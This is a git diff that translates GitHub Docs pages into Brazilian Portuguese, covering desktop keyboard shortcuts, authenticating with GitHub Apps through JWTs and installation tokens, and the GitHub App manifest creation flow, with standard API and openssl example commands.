-|<kbd>Ctrl</kbd><kbd>R</kbd> | Show the current pull request on {% data variables.product.prodname_dotcom %}
+| Atalho                                      | Descrição                                                                         |
+| ------------------------------------------- | --------------------------------------------------------------------------------- |
+| <kbd>Ctrl</kbd><kbd>1</kbd>                 | Exibir todas as alterações antes de fazer o commit                                |
+| <kbd>Ctrl</kbd><kbd>2</kbd>                 | Exibir o histórico de commits                                                     |
+| <kbd>Ctrl</kbd><kbd>B</kbd>                 | Exibir todos os branches                                                          |
+| <kbd>Ctrl</kbd><kbd>G</kbd>                 | Ir para o campo de resumo de commits                                              |
+| <kbd>Ctrl</kbd><kbd>Enter</kbd>             | Realizar commit de alterações quando o campo de resumo ou descrição estiver ativo |
+| <kbd>space (Espaço)</kbd>                   | Selecione ou desmarque todos os arquivos destacados                               |
+| <kbd>Ctrl</kbd><kbd>Shift</kbd><kbd>N</kbd> | Criar um branch                                                                   |
+| <kbd>Ctrl</kbd><kbd>Shift</kbd><kbd>R</kbd> | Renomear o branch atual                                                           |
+| <kbd>Ctrl</kbd><kbd>Shift</kbd><kbd>D</kbd> | Excluir o branch atual                                                            |
+| <kbd>Ctrl</kbd><kbd>Shift</kbd><kbd>U</kbd> | Atualizar o branch padrão                                                         |
+| <kbd>Ctrl</kbd><kbd>Shift</kbd><kbd>B</kbd> | Comparar a outro branch                                                           |
+| <kbd>Ctrl</kbd><kbd>Shift</kbd><kbd>M</kbd> | Fazer um merge com o branch atual                                                 |
+| <kbd>Ctrl</kbd><kbd>H</kbd>                 | Exibir ou ocultar alterações stashed                                              |
+| <kbd>Ctrl</kbd><kbd>Shift</kbd><kbd>C</kbd> | Comparar branches no {% data variables.product.prodname_dotcom %}
+| <kbd>Ctrl</kbd><kbd>R</kbd>                 | Exibir a pull request atual no {% data variables.product.prodname_dotcom %}
 
 {% endwindows %}
diff --git a/translations/pt-BR/content/developers/apps/building-github-apps/authenticating-with-github-apps.md b/translations/pt-BR/content/developers/apps/building-github-apps/authenticating-with-github-apps.md
index c876fc183c..5f1f0186de 100644
--- a/translations/pt-BR/content/developers/apps/building-github-apps/authenticating-with-github-apps.md
+++ b/translations/pt-BR/content/developers/apps/building-github-apps/authenticating-with-github-apps.md
@@ -1,5 +1,5 @@
 ---
-title: Authenticating with GitHub Apps
+title: Autenticar com os aplicativos GitHub
 intro: '{% data reusables.shortdesc.authenticating_with_github_apps %}'
 redirect_from:
   - /apps/building-integrations/setting-up-and-registering-github-apps/about-authentication-options-for-github-apps
@@ -13,61 +13,59 @@ versions:
   ghec: '*'
 topics:
   - GitHub Apps
-shortTitle: Authentication
+shortTitle: Autenticação
 ---
 
 
-## Generating a private key
+## Gerar uma chave privada
 
-After you create a GitHub App, you'll need to generate one or more private keys. You'll use the private key to sign access token requests.
+Após criar um aplicativo GitHub, você deverá gerar uma ou mais chaves privadas. Você usará a chave privada para assinar solicitações de token de acesso.
 
-You can create multiple private keys and rotate them to prevent downtime if a key is compromised or lost. To verify that a private key matches a public key, see [Verifying private keys](#verifying-private-keys).
+Você pode criar várias chaves privadas e girá-las para evitar período de inatividade se uma chave for comprometida ou perdida. Para verificar se uma chave privada corresponde a uma chave pública, consulte [Verificando chaves privadas](#verifying-private-keys).
 
-To generate a private key:
+Para gerar uma chave privada:
 
 {% data reusables.user-settings.access_settings %}
 {% data reusables.user-settings.developer_settings %}
 {% data reusables.user-settings.github_apps %}
 {% data reusables.user-settings.modify_github_app %}
-5. In "Private keys", click **Generate a private key**.
-![Generate private key](/assets/images/github-apps/github_apps_generate_private_keys.png)
-6. You will see a private key in PEM format downloaded to your computer. Make sure to store this file because GitHub only stores the public portion of the key.
+5. Em "Chaves Privadas", clique em **Gerar uma chave privada**. ![Gerar chave privada](/assets/images/github-apps/github_apps_generate_private_keys.png)
+6. Você verá uma chave privada no formato PEM baixado no seu computador. Certifique-se de armazenar este arquivo porque o GitHub armazena apenas a parte pública da chave.
 
 {% note %}
 
-**Note:** If you're using a library that requires a specific file format, the PEM file you download will be in `PKCS#1 RSAPrivateKey` format.
+**Observação:** Se você estiver usando uma biblioteca que exige um formato de arquivo específico, o arquivo PEM que você baixar será no formato `PKCS#1 RSAPrivateKey`.
 
 {% endnote %}
 
-## Verifying private keys
-{% data variables.product.product_name %} generates a fingerprint for each private and public key pair using the SHA-256 hash function. You can verify that your private key matches the public key stored on {% data variables.product.product_name %} by generating the fingerprint of your private key and comparing it to the fingerprint shown on {% data variables.product.product_name %}.
+## Verificar chaves privadas
+O {% data variables.product.product_name %} gera uma impressão digital para cada par de chave privada e pública usando a função hash SHA-256. Você pode verificar se a sua chave privada corresponde à chave pública armazenada no {% data variables.product.product_name %}, gerando a impressão digital da sua chave privada e comparando-a com a impressão digital exibida no {% data variables.product.product_name %}.
 
-To verify a private key:
+Para verificar uma chave privada:
 
-1. Find the fingerprint for the private and public key pair you want to verify in the "Private keys" section of your {% data variables.product.prodname_github_app %}'s developer settings page. For more information, see [Generating a private key](#generating-a-private-key).
-![Private key fingerprint](/assets/images/github-apps/github_apps_private_key_fingerprint.png)
-2. Generate the fingerprint of your private key (PEM) locally by using the following command:
+1. Encontre a impressão digital para o par de chaves privada e pública que deseja verificar na seção "Chaves privadas" da página de configurações de desenvolvedor do seu {% data variables.product.prodname_github_app %}. Para obter mais informações, consulte [Gerar uma chave privada](#generating-a-private-key). ![Impressão digital de chave privada](/assets/images/github-apps/github_apps_private_key_fingerprint.png)
+2. Gere a impressão digital da sua chave privada (PEM) localmente usando o comando a seguir:
     ```shell
     $ openssl rsa -in <em>PATH_TO_PEM_FILE</em> -pubout -outform DER | openssl sha256 -binary | openssl base64
     ```
-3. Compare the results of the locally generated fingerprint to the fingerprint you see in {% data variables.product.product_name %}.
+3. Compare os resultados da impressão digital gerada localmente com a impressão digital que você vê no {% data variables.product.product_name %}.
 
-## Deleting private keys
-You can remove a lost or compromised private key by deleting it, but you must have at least one private key. When you only have one key, you will need to generate a new one before deleting the old one.
-![Deleting last private key](/assets/images/github-apps/github_apps_delete_key.png)
+## Apagar chaves privadas
+Você pode remover uma chave privada perdida ou comprometida excluindo-a. No entanto, você deve ter pelo menos uma chave privada. Quando você tem apenas uma chave, você deverá gerar uma nova antes de excluir a antiga. ![Excluir a última chave privada](/assets/images/github-apps/github_apps_delete_key.png)
 
-## Authenticating as a {% data variables.product.prodname_github_app %}
+## Efetuar a autenticação um {% data variables.product.prodname_github_app %}
 
-Authenticating as a {% data variables.product.prodname_github_app %} lets you do a couple of things:
+Efetuar a autenticação como um {% data variables.product.prodname_github_app %} permite que você faça algumas coisas:
 
-* You can retrieve high-level management information about your {% data variables.product.prodname_github_app %}.
-* You can request access tokens for an installation of the app.
+* Você pode recuperar informações de gerenciamento de alto nível sobre seu {% data variables.product.prodname_github_app %}.
+* Você pode solicitar tokens de acesso para uma instalação do aplicativo.
 
-To authenticate as a {% data variables.product.prodname_github_app %}, [generate a private key](#generating-a-private-key) in PEM format and download it to your local machine. You'll use this key to sign a [JSON Web Token (JWT)](https://jwt.io/introduction) and encode it using the `RS256` algorithm. {% data variables.product.product_name %} checks that the request is authenticated by verifying the token with the app's stored public key.
+Para efetuar a autenticação como um {% data variables.product.prodname_github_app %}, [gere uma chave privada](#generating-a-private-key) no formato PEM e baixe-a para na sua máquina local. Você usará essa chave para assinar um [JSON Web Token (JWT)](https://jwt.io/introduction) e codificá-lo usando o algoritmo `RS256`. O {% data variables.product.product_name %} verifica se a solicitação foi autenticada, fazendo a verificação do token com a chave pública armazenada pelo aplicativo.
 
-Here's a quick Ruby script you can use to generate a JWT. Note you'll have to run `gem install jwt` before using it.
+Aqui está um script Ruby rápido que você pode usar para gerar um JWT. Observe que você deve executar o `gem install jwt` antes de usá-lo.
 
 <a name="jwt-payload"></a>
+
 ```ruby
 require 'openssl'
 require 'jwt'  # https://rubygems.org/gems/jwt
@@ -90,19 +88,19 @@ jwt = JWT.encode(payload, private_key, "RS256")
 puts jwt
 ```
 
-`YOUR_PATH_TO_PEM` and `YOUR_APP_ID` are the values you must replace. Make sure to enclose the values in double quotes.
+`YOUR_PATH_TO_PEM` e `YOUR_APP_ID` são os valores que você deve substituir. Certifique-se de incluir os valores entre aspas duplas.
 
-Use your {% data variables.product.prodname_github_app %}'s identifier (`YOUR_APP_ID`) as the value for the JWT [iss](https://tools.ietf.org/html/rfc7519#section-4.1.1) (issuer) claim. You can obtain the {% data variables.product.prodname_github_app %} identifier via the initial webhook ping after [creating the app](/apps/building-github-apps/creating-a-github-app/), or at any time from the app settings page in the GitHub.com UI.
+Use o seu identificador de {% data variables.product.prodname_github_app %}(`YOUR_APP_ID`) como o valor para a reivindicação do JWT [iss](https://tools.ietf.org/html/rfc7519#section-4.1.1) (emissor). Você pode obter o identificador {% data variables.product.prodname_github_app %} por meio do ping inicial do webhook, após [criar o aplicativo](/apps/building-github-apps/creating-a-github-app/), ou a qualquer momento na da página de configurações do aplicativo na UI do GitHub.com.
 
-After creating the JWT, set it in the `Header` of the API request:
+Após criar o JWT, defina-o no `Cabeçalho` da solicitação de API:
 
 ```shell
 $ curl -i -H "Authorization: Bearer YOUR_JWT" -H "Accept: application/vnd.github.v3+json" {% data variables.product.api_url_pre %}/app
 ```
 
-`YOUR_JWT` is the value you must replace.
+`YOUR_JWT` é o valor que você deve substituir.
 
-The example above uses the maximum expiration time of 10 minutes, after which the API will start returning a `401` error:
+O exemplo acima usa o tempo máximo de expiração de 10 minutos, após o qual a API começará a retornar o erro `401`:
 
 ```json
 {
@@ -111,19 +109,19 @@ The example above uses the maximum expiration time of 10 minutes, after which th
 }
 ```
 
-You'll need to create a new JWT after the time expires.
+Você deverá criar um novo JWT após o tempo expirar.
 
-## Accessing API endpoints as a {% data variables.product.prodname_github_app %}
+## Acessar os pontos finais da API como um {% data variables.product.prodname_github_app %}
 
-For a list of REST API endpoints you can use to get high-level information about a {% data variables.product.prodname_github_app %}, see "[GitHub Apps](/rest/reference/apps)."
+Para obter uma lista dos pontos finais da API REST que você pode usar para obter informações de alto nível sobre um {% data variables.product.prodname_github_app %}, consulte "[aplicativos GitHub](/rest/reference/apps)".
 
-## Authenticating as an installation
+## Autenticar como uma instalação
 
-Authenticating as an installation lets you perform actions in the API for that installation. Before authenticating as an installation, you must create an installation access token. Ensure that you have already installed your GitHub App to at least one repository; it is impossible to create an installation token without a single installation. These installation access tokens are used by {% data variables.product.prodname_github_apps %} to authenticate. For more information, see "[Installing GitHub Apps](/developers/apps/managing-github-apps/installing-github-apps)."
+Autenticar como uma instalação permite que você execute ações na API para essa instalação. Antes de autenticar como uma instalação, você deverá criar um token de acesso de instalação. Certifique-se de que você já instalou o aplicativo GitHub em pelo menos um repositório; é impossível criar um token de instalação sem uma única instalação. Estes tokens de acesso de instalação são usados por {% data variables.product.prodname_github_apps %} para efetuar a autenticação. Para obter mais informações, consulte "[Instalando aplicativos GitHub](/developers/apps/managing-github-apps/installing-github-apps)".
 
-By default, installation access tokens are scoped to all the repositories that an installation can access. You can limit the scope of the installation access token to specific repositories by using the `repository_ids` parameter. See the [Create an installation access token for an app](/rest/reference/apps#create-an-installation-access-token-for-an-app) endpoint for more details. Installation access tokens have the permissions configured by the {% data variables.product.prodname_github_app %} and expire after one hour.
+Por padrão, os tokens de acesso de instalação são limitados em todos os repositórios que uma instalação pode acessar. É possível limitar o escopo do token de acesso de instalação a repositórios específicos usando o parâmetro `repository_ids`. Consulte [Criar um token de acesso de instalação para um ponto final de um aplicativo](/rest/reference/apps#create-an-installation-access-token-for-an-app) para obter mais informações. Os tokens de acesso de instalação têm as permissões configuradas pelo {% data variables.product.prodname_github_app %} e expiram após uma hora.
 
-To list the installations for an authenticated app, include the JWT [generated above](#jwt-payload) in the Authorization header in the API request:
+Para listar as instalações para um aplicativo autenticado, inclua o JWT [gerado acima](#jwt-payload) no cabeçalho de autorização no pedido da API:
 
 ```shell
 $ curl -i -X GET \
@@ -132,9 +130,9 @@ $ curl -i -X GET \
 {% data variables.product.api_url_pre %}/app/installations
 ```
 
-The response will include a list of installations where each installation's `id` can be used for creating an installation access token. For more information about the response format, see "[List installations for the authenticated app](/rest/reference/apps#list-installations-for-the-authenticated-app)."
+A resposta incluirá uma lista de instalações em que o `id` de cada instalação pode ser usado para criar um token de acesso de instalação. Para obter mais informações sobre o formato de resposta, consulte "[Instalações de lista para o aplicativo autenticado](/rest/reference/apps#list-installations-for-the-authenticated-app)".
 
-To create an installation access token, include the JWT [generated above](#jwt-payload) in the Authorization header in the API request and replace `:installation_id` with the installation's `id`:
+Para criar um token de acesso de instalação, inclua o JWT [gerado acima](#jwt-payload) no cabeçalho Autorização no pedido de API e substitua `:installation_id` pelo `id` da instalação da instalação:
 
 ```shell
 $ curl -i -X POST \
@@ -143,9 +141,9 @@ $ curl -i -X POST \
 {% data variables.product.api_url_pre %}/app/installations/:installation_id/access_tokens
 ```
 
-The response will include your installation access token, the expiration date, the token's permissions, and the repositories that the token can access. For more information about the response format, see the [Create an installation access token for an app](/rest/reference/apps#create-an-installation-access-token-for-an-app) endpoint.
+A resposta incluirá seu token de acesso de instalação, a data de validade, as permissões do token e os repositórios que o token pode acessar. Para obter mais informações sobre o formato de resposta, consulte [Criar um token de acesso de instalação para um ponto de final do](/rest/reference/apps#create-an-installation-access-token-for-an-app)aplicativo.
 
-To authenticate with an installation access token, include it in the Authorization header in the API request:
+Para efetuar a autenticação com um token de acesso de instalação, inclua-o no cabeçalho de autorização na solicitação de API:
 
 ```shell
 $ curl -i \
@@ -154,17 +152,17 @@ $ curl -i \
 {% data variables.product.api_url_pre %}/installation/repositories
 ```
 
-`YOUR_INSTALLATION_ACCESS_TOKEN` is the value you must replace.
+`YOUR_INSTALLATION_ACCESS_TOKEN` é o valor que você deve substituir.
 
-## Accessing API endpoints as an installation
+## Acessar pontos finais da API como uma instalação
 
-For a list of REST API endpoints that are available for use by {% data variables.product.prodname_github_apps %} using an installation access token, see "[Available Endpoints](/rest/overview/endpoints-available-for-github-apps)."
+Para obter uma lista de pontos de extremidade da API REST disponíveis para uso por {% data variables.product.prodname_github_apps %} usando um token de acesso de instalação, consulte "[pontos de extremidade disponíveis](/rest/overview/endpoints-available-for-github-apps)."
 
-For a list of endpoints related to installations, see "[Installations](/rest/reference/apps#installations)."
+Para obter uma lista de pontos finais relacionados a instalações, consulte "[Instalações](/rest/reference/apps#installations)".
 
-## HTTP-based Git access by an installation
+## Acesso Git baseado em HTTP por uma instalação
 
-Installations with [permissions](/apps/building-github-apps/setting-permissions-for-github-apps/) on `contents` of a repository, can use their installation access tokens to authenticate for Git access. Use the installation access token as the HTTP password:
+As instalações com [permissões](/apps/building-github-apps/setting-permissions-for-github-apps/) no conteúdo `` de um repositório, podem usar seus tokens de acesso de instalação para efetuar autenticação para acesso ao Git. Use o token de acesso da instalação como a senha HTTP:
 
 ```shell
 git clone https://x-access-token:&lt;token&gt;@github.com/owner/repo.git
diff --git a/translations/pt-BR/content/developers/apps/building-github-apps/creating-a-github-app-from-a-manifest.md b/translations/pt-BR/content/developers/apps/building-github-apps/creating-a-github-app-from-a-manifest.md
index e561cf3c93..ec1ae9d73c 100644
--- a/translations/pt-BR/content/developers/apps/building-github-apps/creating-a-github-app-from-a-manifest.md
+++ b/translations/pt-BR/content/developers/apps/building-github-apps/creating-a-github-app-from-a-manifest.md
@@ -1,6 +1,6 @@
 ---
-title: Creating a GitHub App from a manifest
-intro: 'A GitHub App Manifest is a preconfigured GitHub App you can share with anyone who wants to use your app in their personal repositories. The manifest flow allows someone to quickly create, install, and start extending a GitHub App without needing to register the app or connect the registration to the hosted app code.'
+title: Criar um aplicativo do GitHub a partir de um manifesto
+intro: 'Um manifesto do aplicativo GitHub é um aplicativo GitHub pré-configurado que você pode compartilhar com qualquer pessoa que queira usar seu aplicativo em seus repositórios pessoais. O fluxo do manifesto permite que alguém crie, instale, e comece a estender rapidamente um aplicativo GitHub sem a necessidade de registrar o aplicativo ou conectar o registro ao código do aplicativo hospedado.'
 redirect_from:
   - /apps/building-github-apps/creating-github-apps-from-a-manifest
   - /developers/apps/creating-a-github-app-from-a-manifest
@@ -11,79 +11,80 @@ versions:
   ghec: '*'
 topics:
   - GitHub Apps
-shortTitle: App creation manifest flow
+shortTitle: Fluxo de criação de manifesto do aplicativo
 ---
-## About GitHub App Manifests
 
-When someone creates a GitHub App from a manifest, they only need to follow a URL and name the app. The manifest includes the permissions, events, and webhook URL needed to automatically register the app. The manifest flow creates the GitHub App registration and retrieves the app's webhook secret, private key (PEM file), and GitHub App ID. The person who creates the app from the manifest will own the app and can choose to [edit the app's configuration settings](/apps/managing-github-apps/modifying-a-github-app/), delete it, or transfer it to another person on GitHub.
+## Sobre os manifestos do aplicativo GitHub
 
-You can use [Probot](https://probot.github.io/) to get started with GitHub App Manifests or see an example implementation. See "[Using Probot to implement the GitHub App Manifest flow](#using-probot-to-implement-the-github-app-manifest-flow)" to learn more.
+Quando alguém cria um aplicativo GitHub a partir de um manifesto, é necessário apenas seguir uma URL e nomear o aplicativo. O manifesto inclui as permissões, eventos e URL do webhook necessários para registrar o aplicativo automaticamente. O fluxo do manifesto cria o registro do aplicativo GitHub e recupera o segredo do webhook do aplicativo, a chave privada (arquivo PEM) e o ID do aplicativo GitHub. A pessoa que cria o aplicativo a partir do manifesto será proprietária do aplicativo e poderá escolher [editar as configurações do aplicativo](/apps/managing-github-apps/modifying-a-github-app/), excluí-lo ou transferi-lo para outra pessoa no GitHub.
 
-Here are some scenarios where you might use GitHub App Manifests to create preconfigured apps:
+Você pode usar o [Probot](https://probot.github.io/) para começar com manifestos do aplicativo GitHub ou ver um exemplo de implementação. Consulte "[Usando o Probot para implementar o fluxo do manifesto do aplicativo GitHub](#using-probot-to-implement-the-github-app-manifest-flow)" para saber mais.
 
-* Help new team members come up-to-speed quickly when developing GitHub Apps.
-* Allow others to extend a GitHub App using the GitHub APIs without requiring them to configure an app.
-* Create GitHub App reference designs to share with the GitHub community.
-* Ensure you deploy GitHub Apps to development and production environments using the same configuration.
-* Track revisions to a GitHub App configuration.
+Aqui estão alguns cenários em que você pode usar manifestos do aplicativo GitHub para criar aplicativos pré-configurados:
 
-## Implementing the GitHub App Manifest flow
+* Ajude novos membros da equipe a familiarizar-se rapidamente ao desenvolver os aplicativos GitHub.
+* Permita que outras pessoas estendam o aplicativo GitHub usando as APIs do GitHub sem exigir que configurem um aplicativo.
+* Crie desenhos de referência do aplicativo GitHub para compartilhar com a comunidade do GitHub.
+* Certifique-se de implementar os aplicativos GitHub em ambientes de desenvolvimento e produção usando a mesma configuração.
+* Monitore as revisões de configuração do aplicativo GitHub.
 
-The GitHub App Manifest flow uses a handshaking process similar to the [OAuth flow](/apps/building-oauth-apps/authorizing-oauth-apps/). The flow uses a manifest to [register a GitHub App](/apps/building-github-apps/creating-a-github-app/) and receives a temporary `code` used to retrieve the app's private key, webhook secret, and ID.
+## Implemente o fluxo do manifesto do aplicativo GitHub
+
+O fluxo do manifesto do aplicativo GitHub usa um processo de handshaking semelhante ao [fluxo do OAuth](/apps/building-oauth-apps/authorizing-oauth-apps/). O fluxo usa um manifesto para [registrar um aplicativo GitHub](/apps/building-github-apps/creating-a-github-app/) e recebe um `código temporário` usado para recuperar a chave privada do aplicativo, segredo de webhook e ID.
 
 {% note %}
 
-**Note:** You must complete all three steps in the GitHub App Manifest flow within one hour.
+**Observação:** Você deve concluir todos os três passos do fluxo do manifesto do aplicativo GitHub dentro de uma hora.
 
 {% endnote %}
 
-Follow these steps to implement the GitHub App Manifest flow:
+Siga estas etapas para implementar o fluxo do Manifesto do aplicativo GitHub:
 
-1. You redirect people to GitHub to create a new GitHub App.
-1. GitHub redirects people back to your site.
-1. You exchange the temporary code to retrieve the app configuration.
+1. Você redireciona as pessoas para o GitHub para criar um novo aplicativo GitHub.
+1. O GitHub redireciona as pessoas de volta para o seu site.
+1. Você troca o código temporário para recuperar a configuração do aplicativo.
 
-### 1. You redirect people to GitHub to create a new GitHub App
+### 1. Você redireciona as pessoas para o GitHub para criar um novo aplicativo GitHub
 
-To redirect people to create a new GitHub App, [provide a link](#examples) for them to click that sends a `POST` request to `https://github.com/settings/apps/new` for a user account or `https://github.com/organizations/ORGANIZATION/settings/apps/new` for an organization account, replacing `ORGANIZATION` with the name of the organization account where the app will be created.
+Para redirecionar as pessoas para criar um novo aplicativo GitHub, [fornece um link](#examples) para que cliquem que envia uma solicitação `POST` para `https://github. om/settings/apps/new` para uma conta de usuário ou `https://github. om/organizações/ORGANIZAÇÃO/configurações/apps/novo` para uma conta de organização substituindo `ORGANIZAÇÃO` pelo nome da conta da organização, em que o aplicativo será criado.
 
-You must include the [GitHub App Manifest parameters](#github-app-manifest-parameters) as a JSON-encoded string in a parameter called `manifest`. You can also include a `state` [parameter](#parameters) for additional security.
+Você deve incluir os [parâmetros do manifesto do aplicativo GitHub](#github-app-manifest-parameters) como uma string codificada por JSON em um parâmetro denominado `manifesto`. Você também pode incluir um parâmetro `estado` [](#parameters) para segurança adicional.
 
-The person creating the app will be redirected to a GitHub page with an input field where they can edit the name of the app you included in the `manifest` parameter. If you do not include a `name` in the `manifest`, they can set their own name for the app in this field.
+A pessoa que está criando o aplicativo será redirecionada para uma página do GitHub com um campo de entrada em que poderá editar o nome do aplicativo que você incluiu no parâmetro do `manifesto`. Se você não incluir um `nome` no `manifesto`, será possível definir seu próprio nome para o aplicativo neste campo.
 
-![Create a GitHub App Manifest](/assets/images/github-apps/create-github-app-manifest.png)
+![Criar um manifesto do aplicativo GitHub](/assets/images/github-apps/create-github-app-manifest.png)
 
-#### GitHub App Manifest parameters
+#### Parâmetros do manifesto do aplicativo GitHub
 
- Name | Type | Description
------|------|-------------
-`name` | `string` | The name of the GitHub App.
-`url` | `string` | **Required.** The homepage of your GitHub App.
-`hook_attributes` | `object` | The configuration of the GitHub App's webhook.
-`redirect_url` | `string` | The full URL to redirect to after a user initiates the creation of a GitHub App from a manifest.{% ifversion fpt or ghae or ghes > 3.0 or ghec %}
-`callback_urls` | `array of strings` | A full URL to redirect to after someone authorizes an installation. You can provide up to 10 callback URLs.{% else %}
-`callback_url` | `string` |  A full URL to redirect to after someone authorizes an installation.{% endif %}
-`description` | `string` | A description of the GitHub App.
-`public` | `boolean` | Set to `true` when your GitHub App is available to the public or `false` when it is only accessible to the owner of the app.
-`default_events` | `array` | The list of [events](/webhooks/event-payloads) the GitHub App subscribes to.
-`default_permissions` | `object` | The set of [permissions](/rest/reference/permissions-required-for-github-apps) needed by the GitHub App. The format of the object uses the permission name for the key (for example, `issues`) and the access type for the value (for example, `write`).
+ | Nome                  | Tipo               | Descrição                                                                                                                                                                                                                                                     |
+ | --------------------- | ------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+ | `name`                | `string`           | O nome do aplicativo GitHub.                                                                                                                                                                                                                                  |
+ | `url`                 | `string`           | **Obrigatório.** A página inicial do seu aplicativo GitHub.                                                                                                                                                                                                   |
+ | `hook_attributes`     | `objeto`           | A configuração do webhook do aplicativo GitHub.                                                                                                                                                                                                               |
+ | `redirect_url`        | `string`           | O URL completo para onde redirecionar um usuário iniciar a criação de um aplicativo GitHub a partir de um manifesto.{% ifversion fpt or ghae or ghes > 3.0 or ghec %}
+ | `callback_urls`       | `array de strigns` | Uma URL completa para a qual redirecionar após alguém autorizar uma instalação. Você pode fornecer até 10 URLs de chamada de retorno.{% else %}
+ | `callback_url`        | `string`           | Uma URL completa para a qual redirecionar após alguém autorizar uma instalação.{% endif %}
+ | `descrição`           | `string`           | Uma descrição do aplicativo GitHub.                                                                                                                                                                                                                           |
+ | `público`             | `boolean`          | Defina como `verdadeiro` quando o seu aplicativo GitHub estiver disponível para o público ou `falso` quando for acessível somente pelo proprietário do aplicativo.                                                                                            |
+ | `default_events`      | `array`            | Lista de [eventos](/webhooks/event-payloads) assinada pelo aplicativo GitHub.                                                                                                                                                                                 |
+ | `default_permissions` | `objeto`           | O conjunto de [permissões](/rest/reference/permissions-required-for-github-apps) exigido pelo aplicativo GitHub. O formato do objeto usa o nome de permissão para a chave (por exemplo, `problemas`) e o tipo de acesso para o valor (por exemplo, `gravar`). |
 
-The `hook_attributes` object has the following key:
+O objeto `hook_attributes` tem a chave a seguir:
 
-Name | Type | Description
------|------|-------------
-`url` | `string` | **Required.** The URL of the server that will receive the webhook `POST` requests.
-`active` | `boolean` | Deliver event details when this hook is triggered, defaults to true.
+| Nome    | Tipo      | Descrição                                                                          |
+| ------- | --------- | ---------------------------------------------------------------------------------- |
+| `url`   | `string`  | **Obrigatório.** A URL do servidor que receberá as solicitações `POST` do webhook. |
+| `ativo` | `boolean` | Implementar detalhes do evento quando esse hook é acionado. O padrão é verdadeiro. |
 
-#### Parameters
+#### Parâmetros
 
- Name | Type | Description
------|------|-------------
-`state`| `string` | {% data reusables.apps.state_description %}
+ | Nome     | Tipo     | Descrição                                   |
+ | -------- | -------- | ------------------------------------------- |
+ | `estado` | `string` | {% data reusables.apps.state_description %}
 
-#### Examples
+#### Exemplos
 
-This example uses a form on a web page with a button that triggers the `POST` request for a user account:
+Este exemplo usa um formulário em uma página web com um botão que aciona a solicitação `POST` para uma conta de usuário:
 
 ```html
 <form action="https://github.com/settings/apps/new?state=abc123" method="post">
@@ -118,7 +119,7 @@ This example uses a form on a web page with a button that triggers the `POST` re
 </script>
 ```
 
-This example uses a form on a web page with a button that triggers the `POST` request for an organization account. Replace `ORGANIZATION` with the name of the organization account where you want to create the app.
+Este exemplo usa um formulário em uma página web com um botão que aciona a solicitação `POST` para uma conta da organização. Substitua `ORGANIZAÇÃO` pelo nome da conta da organização em que você deseja criar o aplicativo.
 
 ```html
 <form action="https://github.com/organizations/ORGANIZATION/settings/apps/new?state=abc123" method="post">
@@ -153,49 +154,49 @@ This example uses a form on a web page with a button that triggers the `POST` re
 </script>
 ```
 
-### 2. GitHub redirects people back to your site
+### 2. O GitHub redireciona as pessoas de volta para o seu site
 
-When the person clicks **Create GitHub App**, GitHub redirects back to the `redirect_url` with a temporary `code` in a code parameter. For example:
+Quando a pessoa clica em **Criar aplicativo GitHub**, O GitHub redireciona para o `redirect_url` com um `código` temporário em um parâmetro de código. Por exemplo:
 
     https://example.com/redirect?code=a180b1a3d263c81bc6441d7b990bae27d4c10679
 
-If you provided a `state` parameter, you will also see that parameter in the `redirect_url`. For example:
+Se você forneceu um parâmetro `estado`, você também verá esse parâmetro em `redirect_url`. Por exemplo:
 
     https://example.com/redirect?code=a180b1a3d263c81bc6441d7b990bae27d4c10679&state=abc123
 
-### 3. You exchange the temporary code to retrieve the app configuration
+### 3. Você troca o código temporário para recuperar a configuração do aplicativo
 
-To complete the handshake, send the temporary `code` in a `POST` request to the [Create a GitHub App from a manifest](/rest/reference/apps#create-a-github-app-from-a-manifest) endpoint. The response will include the `id` (GitHub App ID), `pem` (private key), and `webhook_secret`. GitHub creates a webhook secret for the app automatically. You can store these values in environment variables on the app's server. For example, if your app uses [dotenv](https://github.com/bkeepers/dotenv) to store environment variables, you would store the variables in your app's `.env` file.
+Para concluir o handshake, enviar o código temporário `` em uma solicitação `POST` para [Criar um aplicativo GitHub a partir do ponto de extremidade](/rest/reference/apps#create-a-github-app-from-a-manifest) de um manifesto. A resposta incluirá o `id` (ID do aplicativo GitHub), `pem` (chave privada) e `webhook_secret`. O GitHub cria um segredo webhook para o aplicativo automaticamente. Você pode armazenar esses valores em variáveis de ambiente no servidor do aplicativo. Por exemplo, se o aplicativo usar [dotenv](https://github.com/bkeepers/dotenv) para armazenar variáveis de ambiente, você armazenará as variáveis no arquivo `.env` do seu aplicativo.
 
-You must complete this step of the GitHub App Manifest flow within one hour.
+Você deve concluir esta etapa do fluxo do manifesto do aplicativo GitHub em uma hora.
 
 {% note %}
 
-**Note:** This endpoint is rate limited. See [Rate limits](/rest/reference/rate-limit) to learn how to get your current rate limit status.
+**Observação:** Esse ponto final tem limite de taxa. Consulte [Limites de taxa](/rest/reference/rate-limit) para saber como obter seu status atual do limite de taxa.
 
 {% endnote %}
 
     POST /app-manifests/{code}/conversions
 
-For more information about the endpoint's response, see [Create a GitHub App from a manifest](/rest/reference/apps#create-a-github-app-from-a-manifest).
+Para obter mais informações sobre a resposta do ponto de extremidade, consulte [Criar um aplicativo GitHub a partir de um manifesto](/rest/reference/apps#create-a-github-app-from-a-manifest).
 
-When the final step in the manifest flow is completed, the person creating the app from the flow will be an owner of a registered GitHub App that they can install on any of their personal repositories. They can choose to extend the app using the GitHub APIs, transfer ownership to someone else, or delete it at any time.
+Quando a etapa final do fluxo de manifesto for concluída, a pessoa que estiver criando o aplicativo a partir do fluxo será proprietária de um aplicativo GitHub registrado e poderá instalar em qualquer um dos seus repositórios pessoais. A pessoa pode optar por estender o aplicativo usando as APIs do GitHub, transferir a propriedade para outra pessoa ou excluí-lo a qualquer momento.
 
-## Using Probot to implement the GitHub App Manifest flow
+## Usar o Probot para implementar o fluxo de manifesto do aplicativo GitHub
 
-[Probot](https://probot.github.io/) is a framework built with [Node.js](https://nodejs.org/) that performs many of the tasks needed by all GitHub Apps, like validating webhooks and performing authentication. Probot implements the [GitHub App manifest flow](#implementing-the-github-app-manifest-flow), making it easy to create and share GitHub App reference designs with the GitHub community.
+[Probot](https://probot.github.io/) é uma estrutura construído com [Node.js](https://nodejs.org/) que realiza muitas das tarefas necessárias para todos os aplicativos GitHub, como, por exemplo, validar webhooks e efetuar a autenticação. O Probot implementa [fluxo do manifesto do aplicativo GitHub](#implementing-the-github-app-manifest-flow), facilitando a criação e o compartilhamento dos designs de referência do aplicativo GitHub com a comunidade do GitHub.
 
-To create a Probot App that you can share, follow these steps:
+Para criar um aplicativo Probot que você pode compartilhar, siga estas etapas:
 
